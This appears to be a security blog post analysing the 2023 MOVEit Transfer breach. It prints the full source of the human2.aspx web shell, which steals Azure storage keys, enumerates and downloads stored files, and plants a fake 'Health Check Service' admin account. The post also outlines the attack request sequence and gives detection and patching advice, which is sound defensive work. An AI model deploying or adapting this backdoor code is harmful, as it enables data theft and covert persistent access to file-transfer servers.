
On 31, May 2023 organization named Progress found a critical vulnerability in the Moveit Transfer environment which provide unauthorized access to the attacker.
MOVEit Transfer is designed to securely transfer files within or between organizations. MOVEit offers a centralized platform for managing file transfers, providing security, compliance, and automation features.
Researchers noticed that human2.aspx file is uploaded as a backdoor during the attack.
human2.aspx file
<%@ Page Language=”C#” %> | |
<%@ Import Namespace=”MOVEit.DMZ.ClassLib” %> | |
<%@ Import Namespace=”MOVEit.DMZ.Application.Contracts.Infrastructure.Data” %> | |
<%@ Import Namespace=”MOVEit.DMZ.Application.Files” %> | |
<%@ Import Namespace=”MOVEit.DMZ.Cryptography.Contracts” %> | |
<%@ Import Namespace=”MOVEit.DMZ.Core.Cryptography” %> | |
<%@ Import Namespace=”MOVEit.DMZ.Application.Contracts.FileSystem” %> | |
<%@ Import Namespace=”MOVEit.DMZ.Core” %> | |
<%@ Import Namespace=”MOVEit.DMZ.Core.Data” %> | |
<%@ Import Namespace=”MOVEit.DMZ.Application.Users” %> | |
<%@ Import Namespace=”MOVEit.DMZ.Application.Contracts.Users.Enum” %> | |
<%@ Import Namespace=”MOVEit.DMZ.Application.Contracts.Users” %> | |
<%@ Import Namespace=”System.IO” %> | |
<%@ Import Namespace=”System.IO.Compression” %> | |
<script runat=”server”> | |
private Object connectDB() { | |
var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings()); | |
bool flag = false; | |
string text = null; | |
flag = MySQLConnect.Connect(); | |
if (!flag) { | |
return text; | |
} | |
return MySQLConnect; | |
} | |
private Random random = new Random(); | |
public string RandomString(int length) { | |
const string chars = “abcdefghijklmnopqrstuvwxyz0123456789”; | |
return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray()); | |
} | |
protected void Page_load(object sender, EventArgs e) { | |
var pass = Request.Headers[“X-siLock-Comment”]; | |
if (!String.Equals(pass, “REDACTEDREDACTEDREDACTEDREDACTED”)) { | |
Response.StatusCode = 404; | |
return; | |
} | |
Response.AppendHeader(“X-siLock-Comment”, “comment”); | |
var instid = Request.Headers[“X-siLock-Step1”]; | |
string x = null; | |
DbConn MySQLConnect = null; | |
var r = connectDB(); | |
if (r is String) { | |
Response.Write(“OpenConn: Could not connect to DB: ” + r); | |
return; | |
} | |
try { | |
MySQLConnect = (DbConn) r; | |
if (int.Parse(instid) == -1) { | |
string azureAccout = SystemSettings.AzureBlobStorageAccount; | |
string azureBlobKey = SystemSettings.AzureBlobKey; | |
string azureBlobContainer = SystemSettings.AzureBlobContainer; | |
Response.AppendHeader(“AzureBlobStorageAccount”, azureAccout); | |
Response.AppendHeader(“AzureBlobKey”, azureBlobKey); | |
Response.AppendHeader(“AzureBlobContainer”, azureBlobContainer); | |
var query = “select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID”; | |
string reStr = “ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n”; | |
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x); | |
if (!set.EOF) { | |
while (!set.EOF) { | |
reStr += String.Format(“{0},{1},{2},{3},{4},{5},{6},{7}\n”, set[“ID”].Value, set[“InstID”].Value, set[“FolderID”].Value, set[“FileSize”].Value, set[“Name”].Value, set[“uploader”].Value, set[“FolderPath”].Value, set[“fname”].Value); | |
set.MoveNext(); | |
} | |
} | |
reStr += “———————————-\nFolderID,InstID,FolderName,Owner,FolderPath\n”; | |
String query1 = “select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username”; | |
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x); | |
if (!set.EOF) { | |
while (!set.EOF) { | |
reStr += String.Format(“{0},{1},{2},{3},{4}\n”, set[“id”].Value, set[“instID”].Value, set[“name”].Value, set[“owner”].Value, set[“FolderPath”].Value); | |
set.MoveNext(); | |
} | |
} | |
reStr += “———————————-\nInstID,InstName,ShortName\n”; | |
query1 = “select id, name, shortname from institutions”; | |
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x); | |
if (!set.EOF) { | |
while (!set.EOF) { | |
reStr += String.Format(“{0},{1},{2}\n”, set[“ID”].Value, set[“name”].Value, set[“ShortName”].Value); | |
set.MoveNext(); | |
} | |
} | |
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) { | |
using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) { | |
writer.Write(reStr); | |
} | |
} | |
} else if (int.Parse(instid) == -2) { | |
var query = String.Format(“Delete FROM users WHERE RealName=’Health Check Service'”); | |
new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x); | |
} else { | |
var fileid = Request.Headers[“X-siLock-Step3”]; | |
var folderid = Request.Headers[“X-siLock-Step2”]; | |
if (fileid == null && folderid == null) { | |
SessionIDManager Manager = new SessionIDManager(); | |
string NewID = Manager.CreateSessionID(Context); | |
bool redirected = false; | |
bool IsAdded = false; | |
Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded); | |
string username = “”; | |
var query = String.Format(“SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status=’active’ and Deleted=0”, int.Parse(instid)); | |
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x); | |
var query1 = “”; | |
if (!set.EOF) { | |
username = (String) set[“Username”].Value; | |
} else { | |
username = RandomString(16); | |
query1 += String.Format(“INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values (‘{0}’,'{1}’,{2},{3},'{4}’, CURRENT_TIMESTAMP,’Automation’,(select id from folders where instID=0 and FolderPath=’/’), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);”, username, “Health Check Service”, int.Parse(instid), 30, “Health Check Service”, “Automation”, “Services”); | |
} | |
query1 += String.Format(“insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES (‘{0}’,'{1}’,CURRENT_TIMESTAMP, 9999, ‘127.0.0.1’)”, NewID, username); | |
new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x); | |
} else { | |
DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid); | |
SILGlobals siGlobs = new SILGlobals(); | |
siGlobs.FileSystemFactory.Create(); | |
EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create()); | |
Response.ContentType = “application/octet-stream”; | |
Response.AppendHeader(“Content-Disposition”, String.Format(“attachment; filename={0}”, fileid)); | |
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) { | |
st.CopyTo(gzipStream); | |
} | |
} | |
} | |
} catch (Exception) { | |
Response.StatusCode = 404; | |
return; | |
} finally { | |
MySQLConnect.Disconnect(); | |
} | |
return; | |
} | |
</script> |
Analysis of human2.aspx file
ConnectDB function is used to connect to Moveit databse.

Now page_load function checks for X-silock-comment(here at any header X-silock-username,password,Transaction is not properly sanitizing the sql injection query). If the value does not match a specific string (REDACTEDREDACTEDREDACTEDREDACTED), it sets the response status code to 404 and returns.

Now here the script checks the value of X-siLock-step-1 header if the value is set to -1 then it will execute the sql query and retrieve the database.

Query to retrieve file, folder and instituion name.

If header x-siLock-step1 value is set to -2 then it delete the user from the database.

Server logs of Attack
- POST /guestaccess.aspx
- POST /api/v1/token
- GET /api/v1/folders
- POST /api/v1/folders/{id}/files?uploadType=resumable
- PUT /api/v1/folders/{id}/files?uploadType=resumable&fileId={id}
- Provide the request for guestaccess to server and get session and extract CSRF token.
- Provide the token to api for further enumeration.
- Provide the GET request to enumerate folders
- Upload the malicious file using POST and PUT.
How to Identify?
Helps to find root dir:
HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock->WebBaseDir |
Find your logs:
HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock->LogsBaseDir |
To find out how machine is configured with SQL Server:
HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock\SQLServer |
Remediation:
Update MOVEit Transfer to one of these patched versions:
- MOVEit Transfer 2023.0.1
- MOVEit Transfer 2022.1.5
- MOVEit Transfer 2022.0.4
- MOVEit Transfer 2021.1.4
- MOVEit Transfer 2021.0.6
Or you are not able to update:
Disable HTTP(s) traffic to MOVEit Transfer by adding firewall deny rules to ports 80 and 443. Note that this will essentially take your MOVEit Transfer application out of service.